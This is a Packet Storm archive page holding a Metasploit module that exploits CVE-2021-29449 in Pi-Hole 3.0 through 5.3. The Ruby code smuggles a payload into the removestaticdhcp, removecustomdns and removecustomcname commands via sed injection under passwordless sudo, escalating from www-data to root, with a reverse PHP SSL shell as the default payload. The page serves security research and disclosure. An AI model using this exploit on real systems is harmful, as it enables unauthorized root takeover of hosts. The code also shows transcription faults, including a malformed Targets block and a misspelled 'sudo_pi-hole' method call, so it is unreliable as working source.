

File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr
Sa					
				1	2
3					
4	5	6	7	8	9
10					
11	12	13	14	15	16
17					
18	19	20	21	22	23
24					
25	26	27	28	29	30
31					

Top Authors In Last 30 Days

Red Hat 157 files
Ubuntu 76 files
LiquidWorm 23 files
Debian 21 files
nu11security 11 files
malvuln 11 files
Gentoo 9 files
Google Security Research 8 files
Julien Ahrens 4 files
T. Weber 4 files

File Tags

ActiveX (932)	December 2022
Advisory (79,754)	November 2022
Arbitrary (15,694)	October 2022
BBS (2,859)	September 2022
Bypass (1,619)	August 2022
CGI (1,018)	July 2022
Code Execution (8,926)	June 2022
Conference (673)	May 2022
Cracker (840)	April 2022
CSRF (3,290)	March 2022
DoS (22,602)	February 2022
Encryption (2,349)	January 2022
Exploit (50,359)	Older

File Inclusion (4,165)

File Upload (946)
Firewall (821)
Info Disclosure (2,660)
Intrusion Detection (867)

Java (2,899)	CentOS (55)
JavaScript (821)	Cisco (1,917)
Kernel (6,291)	Debian (6,634)
Local (14,201)	Fedora (1,600)
Magazine (586)	FreeBSD (1,242)
Overflow (12,419)	Gentoo (4,272)
Perl (1,418)	HPUX (878)
PHP (5,093)	iOS (330)
Proof of Concept (2,291)	iPhone (108)
Protocol (3,435)	IRIX (220)
Python (1,467)	Juniper (67)
Remote (30,044)	Linux (44,315)
Root (3,504)	Mac OS X (684)
Ruby (594)	Mandriva (3,105)
Scanner (1,631)	NetBSD (255)
Security Tool (7,777)	OpenBSD (479)
Shell (3,103)	RedHat (12,469)
Shellcode (1,204)	Slackware (941)
Sniffer (886)	Solaris (1,607)

Pi-Hole Remove Commands Linux Privilege Escalation

Authored by h00die, Emanuele Barbano | Site metasploit.com

Posted Jul 30, 2021

Pi-Hole versions 3.0 through 5.3 allows for command line input to the removecustomcname, removecustomdns, and removestaticdhcp functions without properly validating the parameters before passing to sed. When executed as the www-data user, this allows for a privilege escalation to root since www-data is in the sudoers.d/pihole file with no password.

tags | exploit, root

advisories | CVE-2021-29449

SHA-256 | 7265358e3e4327bc951c92f719451fce4a2ce957a5c1a6bde9f57d3d6646ee0f Download | Favorite | View

Related Files

Share This

Like

Twef

LinkedIn

Reddit

Digg

StumbleUpon

Change MirrorDownload

```
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = GreatRanking

  # includes: is_root?
  include Msf::Post::Linux::Priv
  # includes writable?, upload_file, upload_and_chmodx, exploit_data
  include Msf::Post::File
  # for whoami
  include Msf::Post::Unix
  # for get_session_pid needed by whoami
  include Msf::Post::Linux::System
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Pi-Hole Remove Commands Linux Priv Esc',
        'Description' => %q{
          Pi-Hole versions 3.0 - 5.3 allows for command line input to the removecustomcname,
          removecustomdns, and removestaticdhcp functions without properly validating
          the parameters before passing to sed. When executed as the www-data user,
          this allows for a privilege escalation to root since www-data is in the
          sudoers.d/pihole file with no password.
        },
        'License' => MSF_LICENSE,
        'Author' =>
          [
            'h00die', # msf module
            'Emanuele Barbano <emanuele.barbano[at]compass-security.com>' # original PoC, analysis
          ],
        'Platform' => [ 'unix', 'linux' ],
        'Arch' => [ ARCH_CMD ],
        'SessionTypes' => [ 'shell', 'meterpreter' ],
        'DefaultOptions' => { 'Payload' => 'cmd/unix/reverse_php_ssl' },
        'Payload' =>
          {
            'BadChars' => "\x27" # '
          },
        'Privileged' => true,
        'References' =>
          [
            [ 'URL', 'https://github.com/pi-hole/pi-hole/security/advisories/GHSA-3597-244c-wrjp' ],
            [ 'URL', 'https://www.compass-security.com/fileadmin/Research/Advisories/2021-02_CSNC-2021-008_Pi-hole_Privilege_Escalation.txt' ],
            [ 'CVE', '2021-29449' ]
          ],
        'DisclosureDate' => '2021-04-20',
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'Reliability' => [ REPEATABLE_SESSION ],
          'SideEffects' => [ CONFIG_CHANGES, IOC_IN_LOGS ]
        },
        'Targets' => {
          'DHCP', { 'min' => Rex::Version.new('3.0') }, # exploitable by default, especially when combined
          with unix/http/pihole_dhcp_mac_exec
          'DNS', { 'min' => Rex::Version.new('5.0') },
          { 'CNAME', { 'min' => Rex::Version.new('5.1') },
          },
          'DefaultTarget' => 0
        )
      )
    end

    def sudo_pihole
      'sudo /usr/local/bin/pihole -a'
    end

    def pihole_version
      version = cmd_exec('sudo /usr/local/bin/pihole -v')
      /Pi-hole version is v([^\s]+)/ =~ version
      Rex::Version.new(Regexp.last_match(1))
    end

    def check
      w = whoami
      print_status("Current user: #{w}")
      v = pihole_version
      print_status("Pi-hole version: #{v}")
      unless v.between?(target['min'], Rex::Version.new('5.3'))
        return CheckCode::Safe("Pi-Hole version #{v} is >= 5.3 and not vulnerable")
      end
      unless w == 'www-data'
        return CheckCode::Safe("User must be www-data, currently #{w}")
      end

      CheckCode::Appears("Pi-Hole #{v} with user #{w} is vulnerable and exploitable")
    end

    def method_dhcp
      f = '/etc/dnsmasq.d/04-pihole-static-dhcp.conf'
      if !file?(f) || read_file(f).empty?
        mac = Faker::Internet.mac_address
        ip = "10.199.#{rand_text_numeric(1..2).to_i}.#{rand_text_numeric(1..2).to_i}"
        print_status("Adding static DHCP #{mac} #{ip}")
        cmd_exec("#{sudo_pihole} addstaticdhcp '#{mac}' '#{ip}'")
      end
      unless file?(f)
        print_error("Config file not found: #{f}")
        return
      end
      print_good("#{f} found!")
      print_status("Executing payload against removestaticdhcp command")
      cmd_exec("#{sudo_pihole} removestaticdhcp 'a/d ; le #{payload.encoded} ; /'")
      if mac
        cmd_exec("#{sudo_pihole} removestaticdhcp '#{mac}'")
      end
    end

    def method_dns
      f = '/etc/pihole/custom.list'
      if !file?(f) || read_file(f).empty?
        name = Faker::Internet.domain_name
        ip = "10.199.#{rand_text_numeric(1..2).to_i}.#{rand_text_numeric(1..2).to_i}"

```

```
print_status("Adding DNS entry #{name} #{ip}")
cmd_exec("#{sudo_pi-hole} addcustomdns '#{ip}' '#{name}'")
end
unless file?(f)
  print_error("Config file not found: #{f}")
  return
end
print_good("#{f} found!")
print_status("Executing payload against removecustomdns command")
cmd_exec("#{sudo_pi-hole} removecustomdns 'a/d ; le #{payload.encoded} ; /'")
if name
  cmd_exec("#{sudo_pi-hole} removecustomdns '#{ip}' '#{name}'")
end
end

def method_name
  f = '/etc/dnsmasq.d/05-pi-hole-custom-cname.conf'
  if !file?(f) || read_file(f).empty?
    name = "#{rand_text_alphanumeric(8..12)}.edu"
    print_status("Adding CNAME entry #{name}")
    cmd_exec("#{sudo_pi-hole} addcustomcname '#{name}' '#{name}'")
  end
  unless file?(f)
    print_error("Config file not found: #{f}")
    return
  end
  print_good("#{f} found!")
  print_status("Executing payload against removecustomcname command")
  cmd_exec("#{sudo_pi-hole} removecustomcname 'a/d ; le #{payload.encoded} ; /'")
  if name
    cmd_exec("#{sudo_pi-hole} removecustomcname '#{name}' '#{name}'")
  end
end

def exploit
  if target.name == 'DHCP'
    method_dhcp
  elsif target.name == 'DNS'
    method_dns
  elsif target.name == 'CNAME'
    method_name
  end
end
end
```

Spoof (2,166)	SUSE (1,444)
SQL Injection (16,102)	Ubuntu (8,199)
TCP (2,379)	UNIX (9,159)
Trojan (686)	UnixWare (185)
UDP (676)	Windows (6,511)
Virus (662)	Other
Vulnerability (31,136)	
Web (9,365)	
Whitepaper (3,729)	
x86 (946)	
XSS (17,494)	
Other	

[Login](#) or [Register](#) to add favorites



© 2022 Packet Storm. All rights reserved.

Site Links


News by Month
News Tags
Files by Month
File Tags
File Directory


About Us

History & Purpose
Contact Information
Terms of Service
Privacy Statement
Copyright Information

Hosting By

Rokasec

 [Follow us on Twitter](#)

 [Subscribe to an RSS Feed](#)